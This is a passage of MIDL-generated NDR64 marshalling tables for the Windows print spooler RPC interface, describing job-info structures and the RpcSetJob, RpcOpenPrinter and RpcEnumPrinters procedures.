/* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag48_t __midl_frag48 =\n{ \n/* *JOB_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag49\n};\n\nstatic const __midl_frag47_t __midl_frag47 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag387\n    }\n};\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* JOB_INFO_1 */\n    { \n    /* JOB_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        &__midl_frag47,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/* *JOB_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag40\n};\n\nstatic const __midl_frag37_t __midl_frag37 =\n{ \n/* __MIDL_winspool_0006 */\n    { \n    /* __MIDL_winspool_0006 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag598,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag39,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag48,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag61,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 4 /* 0x4 */,\n        &__midl_frag63,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag36_t __midl_frag36 =\n{ \n/* JOB_CONTAINER */\n    { \n    /* JOB_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag37\n        },\n        { \n        /* JOB_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag35_t __midl_frag35 =\n{ \n/* *JOB_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag36\n};\n\nstatic const __midl_frag32_t __midl_frag32 =\n{ \n/* RpcSetJob */\n    { \n    /* RpcSetJob */      /* procedure RpcSetJob */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag405,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag406,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pJobContainer */      /* parameter pJobContainer */\n        &__midl_frag35,\n        { \n        /* pJobContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Command */      /* parameter Command */\n        &__midl_frag403,\n        { \n        /* Command */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* RpcOpenPrinter */\n    { \n    /* RpcOpenPrinter */      /* procedure RpcOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag366,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag677,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag366,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag403,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag403,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* RpcEnumPrinters */\n    { \n    /* RpcEnumPrinters */      /* procedure RpcEnumPrinters */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            8 /* 0x8 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag1087,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag366,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag406,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag653,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag403,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], 